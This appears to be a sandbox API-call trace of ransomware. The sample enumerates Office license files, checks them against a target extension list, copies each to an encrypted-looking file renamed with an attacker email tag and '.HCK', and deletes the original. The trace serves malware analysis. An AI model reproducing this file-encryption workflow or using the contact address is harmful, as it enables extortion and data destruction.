[0243.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0243.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0243.407] lstrlenW (lpString=".doc") returned 4 [0243.407] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.407] lstrlenW (lpString=".docx") returned 5 [0243.407] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.407] lstrlenW (lpString=".pdf") returned 4 [0243.407] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.407] lstrlenW (lpString=".xls") returned 4 [0243.407] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.407] lstrlenW (lpString=".xlsx") returned 5 [0243.407] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.407] lstrlenW (lpString=".ppt") returned 4 [0243.407] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0243.407] lstrlenW (lpString=".zip") returned 4 [0243.407] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.407] lstrlenW (lpString=".rar") returned 4 [0243.407] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.407] lstrlenW (lpString=".bz2") returned 4 [0243.407] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.407] lstrlenW (lpString=".7z") returned 3 [0243.407] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0243.407] lstrlenW (lpString=".dbf") returned 4 [0243.407] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0243.407] lstrlenW (lpString=".1cd") returned 4 [0243.407] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0243.407] lstrlenW (lpString=".jpg") returned 4 [0243.407] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.407] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.407] lstrlenW (lpString="O365BusinessR_SubTrial-pl.xrm-ms") returned 32 [0243.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.408] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11179) returned 1 [0243.408] CloseHandle (hObject=0x558) returned 1 [0243.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms")) returned 0x220 [0243.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.409] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.409] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0243.410] GetLastError () returned 0x0 [0243.410] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2bab, lpOverlapped=0x0) returned 1 [0243.564] WriteFile (in: hFile=0x340, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0243.565] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.566] WriteFile (in: hFile=0x340, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x114, lpOverlapped=0x0) returned 1 [0243.566] SetEndOfFile (hFile=0x340) returned 1 [0243.566] CloseHandle (hObject=0x340) returned 1 [0243.566] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.566] SetEndOfFile (hFile=0x558) returned 1 [0243.568] CloseHandle (hObject=0x558) returned 1 [0243.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms")) returned 1 [0243.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0243.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0243.570] lstrlenW (lpString=".doc") returned 4 [0243.570] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.570] lstrlenW (lpString=".docx") returned 5 [0243.570] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.570] lstrlenW (lpString=".pdf") returned 4 [0243.570] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.570] lstrlenW (lpString=".xls") returned 4 [0243.570] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.570] lstrlenW (lpString=".xlsx") returned 5 [0243.570] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.570] lstrlenW (lpString=".ppt") returned 4 [0243.570] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0243.571] lstrlenW (lpString=".zip") returned 4 [0243.571] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.571] lstrlenW (lpString=".rar") returned 4 [0243.571] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.571] lstrlenW (lpString=".bz2") returned 4 [0243.571] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.571] lstrlenW (lpString=".7z") returned 3 [0243.571] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0243.571] lstrlenW (lpString=".dbf") returned 4 [0243.571] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0243.571] lstrlenW (lpString=".1cd") returned 4 [0243.571] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0243.571] lstrlenW (lpString=".jpg") returned 4 [0243.571] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0243.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0243.571] lstrlenW (lpString=".doc") returned 4 [0243.571] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.571] lstrlenW (lpString=".docx") returned 5 [0243.571] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.571] lstrlenW (lpString=".pdf") returned 4 [0243.571] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.571] lstrlenW (lpString=".xls") returned 4 [0243.571] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.571] lstrlenW (lpString=".xlsx") returned 5 [0243.571] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.571] lstrlenW (lpString=".ppt") returned 4 [0243.571] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0243.571] lstrlenW (lpString=".zip") returned 4 [0243.571] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.571] lstrlenW (lpString=".rar") returned 4 [0243.571] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.571] lstrlenW (lpString=".bz2") returned 4 [0243.571] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.571] lstrlenW (lpString=".7z") returned 3 [0243.571] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0243.571] lstrlenW (lpString=".dbf") returned 4 [0243.571] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0243.571] lstrlenW (lpString=".1cd") returned 4 [0243.571] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0243.571] lstrlenW (lpString=".jpg") returned 4 [0243.571] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.572] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.572] lstrlenW (lpString="O365HomePremR_Subscription1-pl.xrm-ms") returned 37 [0243.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.572] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11199) returned 1 [0243.573] CloseHandle (hObject=0x558) returned 1 [0243.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms")) returned 0x220 [0243.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.573] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.573] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0243.574] GetLastError () returned 0x0 [0243.574] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0243.576] WriteFile (in: hFile=0x340, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0243.577] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.577] WriteFile (in: hFile=0x340, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11e, lpOverlapped=0x0) returned 1 [0243.577] SetEndOfFile (hFile=0x340) returned 1 [0243.577] CloseHandle (hObject=0x340) returned 1 [0243.577] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.577] SetEndOfFile (hFile=0x558) returned 1 [0243.579] CloseHandle (hObject=0x558) returned 1 [0243.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms")) returned 1 [0243.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0243.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0243.580] lstrlenW (lpString=".doc") returned 4 [0243.580] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.580] lstrlenW (lpString=".docx") returned 5 [0243.580] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.580] lstrlenW (lpString=".pdf") returned 4 [0243.581] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.581] lstrlenW (lpString=".xls") returned 4 [0243.581] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.581] lstrlenW (lpString=".xlsx") returned 5 [0243.581] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.581] lstrlenW (lpString=".ppt") returned 4 [0243.581] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0243.581] lstrlenW (lpString=".zip") returned 4 [0243.581] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.581] lstrlenW (lpString=".rar") returned 4 [0243.581] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.581] lstrlenW (lpString=".bz2") returned 4 [0243.581] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.581] lstrlenW (lpString=".7z") returned 3 [0243.581] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0243.581] lstrlenW (lpString=".dbf") returned 4 [0243.581] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0243.581] lstrlenW (lpString=".1cd") returned 4 [0243.581] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0243.581] lstrlenW (lpString=".jpg") returned 4 [0243.581] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0243.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0243.581] lstrlenW (lpString=".doc") returned 4 [0243.581] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.581] lstrlenW (lpString=".docx") returned 5 [0243.581] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.581] lstrlenW (lpString=".pdf") returned 4 [0243.581] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.581] lstrlenW (lpString=".xls") returned 4 [0243.581] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.581] lstrlenW (lpString=".xlsx") returned 5 [0243.581] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.581] lstrlenW (lpString=".ppt") returned 4 [0243.581] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0243.581] lstrlenW (lpString=".zip") returned 4 [0243.581] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.581] lstrlenW (lpString=".rar") returned 4 [0243.581] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.581] lstrlenW (lpString=".bz2") returned 4 [0243.581] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.581] lstrlenW (lpString=".7z") returned 3 [0243.581] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0243.581] lstrlenW (lpString=".dbf") returned 4 [0243.581] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0243.582] lstrlenW (lpString=".1cd") returned 4 [0243.582] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0243.582] lstrlenW (lpString=".jpg") returned 4 [0243.582] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.582] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.582] lstrlenW (lpString="O365HomePremR_Subscription1-ppd.xrm-ms") returned 38 [0243.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.583] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=26541) returned 1 [0243.583] CloseHandle (hObject=0x558) returned 1 [0243.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms")) returned 0x220 [0243.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.583] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.583] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0243.584] GetLastError () returned 0x0 [0243.584] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x67ad, lpOverlapped=0x0) returned 1 [0243.586] WriteFile (in: hFile=0x340, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0243.587] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.587] WriteFile (in: hFile=0x340, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x120, lpOverlapped=0x0) returned 1 [0243.587] SetEndOfFile (hFile=0x340) returned 1 [0243.587] CloseHandle (hObject=0x340) returned 1 [0243.587] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.587] SetEndOfFile (hFile=0x558) returned 1 [0243.589] CloseHandle (hObject=0x558) returned 1 [0243.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms")) returned 1 [0243.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0243.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0243.590] lstrlenW (lpString=".doc") returned 4 [0243.590] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.590] lstrlenW (lpString=".docx") returned 5 [0243.591] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.591] lstrlenW (lpString=".pdf") returned 4 [0243.591] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.591] lstrlenW (lpString=".xls") returned 4 [0243.591] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.591] lstrlenW (lpString=".xlsx") returned 5 [0243.591] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.591] lstrlenW (lpString=".ppt") returned 4 [0243.591] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0243.591] lstrlenW (lpString=".zip") returned 4 [0243.591] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.591] lstrlenW (lpString=".rar") returned 4 [0243.591] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.591] lstrlenW (lpString=".bz2") returned 4 [0243.591] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.591] lstrlenW (lpString=".7z") returned 3 [0243.591] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0243.591] lstrlenW (lpString=".dbf") returned 4 [0243.591] lstrcmpiW 